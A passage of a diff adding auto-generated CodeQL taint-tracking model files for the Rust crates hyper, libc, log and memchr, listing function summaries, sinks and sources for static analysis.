"Argument[0]", "Argument[self].Field[crate::support::trailers::StreamBodyWithTrailers::trailers].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::with_trailers", "Argument[0]", "ReturnValue.Field[crate::support::trailers::StreamBodyWithTrailers::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::with_trailers", "Argument[1]", "ReturnValue.Field[crate::support::trailers::StreamBodyWithTrailers::trailers].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "crate::proto::h2::client::handshake", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::proto::h2::client::ClientTask::req_rx]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "crate::proto::h2::client::handshake", "Argument[3]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::proto::h2::client::ClientTask::executor]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "crate::proto::h2::ping::channel", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "crate::service::util::service_fn", "Argument[0]", "ReturnValue.Field[crate::service::util::ServiceFn::f]", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/hyperium/hyper:hyper", "::check", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::poll_read_body", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::write_body", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::write_body_and_end", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::write_trailers", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::encode", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::encode", "Argument[0]", "log-injection", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/hyperium/hyper:hyper", "crate::ffi::body::hyper_buf_bytes", "ReturnValue", "pointer-invalidate", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "crate::ffi::http_types::hyper_response_reason_phrase", "ReturnValue", "pointer-invalidate", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "crate::ffi::hyper_version", "ReturnValue", "pointer-invalidate", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "crate::ffi::task::hyper_executor_new", "ReturnValue", "pointer-invalidate", "df-generated"] diff --git a/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc-test.model.yml b/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc-test.model.yml new file mode 100644 index 000000000000..09c7a61c4f71 --- /dev/null +++ b/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc-test.model.yml @@ -0,0 +1,19 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rust-lang/libc:libc-test", "::check_file", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc-test", "::reset_state", "Argument[self].Field[crate::style::StyleChecker::errors]", "Argument[self].Reference.Field[crate::style::StyleChecker::errors]", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/rust-lang/libc:libc-test", "::check_file", "Argument[0]", "path-injection", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/rust-lang/libc:libc-test", "::check_file", "ReturnValue", "file", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc-test", "::finalize", "ReturnValue", "file", "df-generated"] diff --git a/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc.model.yml b/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc.model.yml new file mode 100644 index 000000000000..e8dc059dd9d7 --- /dev/null +++ b/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc.model.yml @@ -0,0 +1,28 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rust-lang/libc:libc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "::si_addr", "Argument[self].Field[crate::unix::bsd::apple::siginfo_t::si_addr]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "::si_pid", "Argument[self].Field[crate::unix::bsd::apple::siginfo_t::si_pid]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "::si_status", "Argument[self].Field[crate::unix::bsd::apple::siginfo_t::si_status]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "::si_uid", "Argument[self].Field[crate::unix::bsd::apple::siginfo_t::si_uid]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::QCMD", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::QCMD", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::WEXITSTATUS", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::WTERMSIG", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::CMSG_LEN", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::CMSG_NXTHDR", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::CMSG_SPACE", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::VM_MAKE_TAG", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::WSTOPSIG", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::_WSTATUS", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::major", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::makedev", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::makedev", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::minor", "Argument[0]", "ReturnValue", "taint", "df-generated"] diff --git a/rust/ql/lib/ext/generated/log/repo-https-github.com-rust-lang-log-log.model.yml b/rust/ql/lib/ext/generated/log/repo-https-github.com-rust-lang-log-log.model.yml new file mode 100644 index 000000000000..a894c71018fc --- /dev/null +++ b/rust/ql/lib/ext/generated/log/repo-https-github.com-rust-lang-log-log.model.yml @@ -0,0 +1,59 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[self].Field[crate::Metadata::level]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::target", "Argument[self].Field[crate::Metadata::target]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::build", "Argument[self].Field[crate::MetadataBuilder::metadata].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::build", "Argument[self].Field[crate::MetadataBuilder::metadata]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[0]", "Argument[self].Field[crate::MetadataBuilder::metadata].Field[crate::Metadata::level]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[0]", "ReturnValue.Field[crate::MetadataBuilder::metadata].Field[crate::Metadata::level]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::target", "Argument[0]", "Argument[self].Field[crate::MetadataBuilder::metadata].Field[crate::Metadata::target]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::target", "Argument[0]", "ReturnValue.Field[crate::MetadataBuilder::metadata].Field[crate::Metadata::target]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::target", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::args", "Argument[self].Field[crate::Record::args]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::file", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::key_values", "Argument[self].Field[crate::Record::key_values].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::key_values", "Argument[self].Field[crate::Record::key_values].Field[crate::KeyValues(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[self].Field[crate::Record::metadata].Field[crate::Metadata::level]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::line", "Argument[self].Field[crate::Record::line]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::metadata", "Argument[self].Field[crate::Record::metadata]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::module_path", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::target", "Argument[self].Field[crate::Record::metadata].Field[crate::Metadata::target]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::to_builder", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::args", "Argument[0]", "Argument[self].Field[crate::RecordBuilder::record].Field[crate::Record::args]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::args", "Argument[0]", "ReturnValue.Field[crate::RecordBuilder::record].Field[crate::Record::args]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::args", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::build", "Argument[self].Field[crate::RecordBuilder::record].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::build", "Argument[self].Field[crate::RecordBuilder::record]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::file", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::file_static", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::key_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::line", "Argument[0]", "Argument[self].Field[crate::RecordBuilder::record].Field[crate::Record::line]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::line", "Argument[0]", "ReturnValue.Field[crate::RecordBuilder::record].Field[crate::Record::line]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::line", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::metadata", "Argument[0]", "Argument[self].Field[crate::RecordBuilder::record].Field[crate::Record::metadata]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::metadata", "Argument[0]", "ReturnValue.Field[crate::RecordBuilder::record].Field[crate::Record::metadata]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::metadata", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::module_path", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::module_path_static", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::target", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::to_key", "Argument[self]", "ReturnValue.Field[crate::kv::key::Key::key]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::from_value", "Argument[0]", "ReturnValue.Field[crate::kv::error::Error::inner].Field[crate::kv::error::Inner::Value(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::into_value", "Argument[self].Field[crate::kv::error::Error::inner].Field[crate::kv::error::Inner::Value(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::msg", "Argument[0]", "ReturnValue.Field[crate::kv::error::Error::inner].Field[crate::kv::error::Inner::Msg(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::borrow", "Argument[self].Field[crate::kv::key::Key::key]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::as_ref", "Argument[self].Field[crate::kv::key::Key::key]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::from", "Argument[0]", "ReturnValue.Field[crate::kv::key::Key::key]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::to_key", "Argument[self].Field[crate::kv::key::Key::key]", "ReturnValue.Field[crate::kv::key::Key::key]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::as_str", "Argument[self].Field[crate::kv::key::Key::key]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::from_str", "Argument[0]", "ReturnValue.Field[crate::kv::key::Key::key]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::to_borrowed_str", "Argument[self].Field[crate::kv::key::Key::key]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::to_value", "Argument[self].Field[crate::kv::value::Value::inner].Reference", "ReturnValue.Field[crate::kv::value::Value::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::to_value", "Argument[self].Field[crate::kv::value::Value::inner]", "ReturnValue.Field[crate::kv::value::Value::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::to_key", "Argument[self]", "ReturnValue.Field[crate::kv::key::Key::key]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::to_key", "Argument[self]", "ReturnValue.Field[crate::kv::key::Key::key]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/memchr/repo-https-github.com-BurntSushi-memchr-memchr.model.yml b/rust/ql/lib/ext/generated/memchr/repo-https-github.com-BurntSushi-memchr-memchr.model.yml new file mode 100644 index 000000000000..62617b2b0334 --- /dev/null +++ b/rust/ql/lib/ext/generated/memchr/repo-https-github.com-BurntSushi-memchr-memchr.model.yml @@ -0,0 +1,168 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::OneIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::One(0)].Field[crate::arch::generic::memchr::One::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::aarch64::neon::memchr::OneIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::ThreeIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::Three(0)].Field[crate::arch::generic::memchr::Three::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[1]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::Three(0)].Field[crate::arch::generic::memchr::Three::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[2]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::Three(0)].Field[crate::arch::generic::memchr::Three::s3]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::aarch64::neon::memchr::ThreeIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::TwoIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::Two(0)].Field[crate::arch::generic::memchr::Two::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[1]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::Two(0)].Field[crate::arch::generic::memchr::Two::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::aarch64::neon::memchr::TwoIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::all::memchr::OneIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::arch::all::memchr::One::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::try_new", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::memchr::One::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::all::memchr::OneIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::all::memchr::ThreeIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::arch::all::memchr::Three::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::arch::all::memchr::Three::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[2]", "ReturnValue.Field[crate::arch::all::memchr::Three::s3]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::try_new", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::memchr::Three::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::try_new", "Argument[1]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::memchr::Three::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::try_new", "Argument[2]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::memchr::Three::s3]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::all::memchr::ThreeIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::all::memchr::TwoIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::arch::all::memchr::Two::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::arch::all::memchr::Two::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::try_new", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::memchr::Two::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::try_new", "Argument[1]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::memchr::Two::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::all::memchr::TwoIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::packedpair::Finder::byte1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::packedpair::Finder::byte2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::pair", "Argument[self].Field[crate::arch::all::packedpair::Finder::pair]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::with_pair", "Argument[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::packedpair::Finder::byte1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::with_pair", "Argument[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::packedpair::Finder::byte2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::with_pair", "Argument[1]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::packedpair::Finder::pair]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::index1", "Argument[self].Field[crate::arch::all::packedpair::Pair::index1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::index2", "Argument[self].Field[crate::arch::all::packedpair::Pair::index2]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::with_indices", "Argument[1]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::packedpair::Pair::index1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::with_indices", "Argument[2]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::packedpair::Pair::index2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::count", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::count", "Argument[self].Field[crate::arch::generic::memchr::Iter::end]", "Argument[0].Parameter[1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::count", "Argument[self].Field[crate::arch::generic::memchr::Iter::start]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::generic::memchr::Iter::end]", "Argument[0].Parameter[1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::generic::memchr::Iter::start]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next_back", "Argument[self].Field[crate::arch::generic::memchr::Iter::end]", "Argument[0].Parameter[1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next_back", "Argument[self].Field[crate::arch::generic::memchr::Iter::start]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::needle1", "Argument[self].Field[crate::arch::generic::memchr::One::s1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::arch::generic::memchr::One::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::needle1", "Argument[self].Field[crate::arch::generic::memchr::Three::s1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::needle2", "Argument[self].Field[crate::arch::generic::memchr::Three::s2]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::needle3", "Argument[self].Field[crate::arch::generic::memchr::Three::s3]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::arch::generic::memchr::Three::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::arch::generic::memchr::Three::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[2]", "ReturnValue.Field[crate::arch::generic::memchr::Three::s3]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::needle1", "Argument[self].Field[crate::arch::generic::memchr::Two::s1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::needle2", "Argument[self].Field[crate::arch::generic::memchr::Two::s2]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", 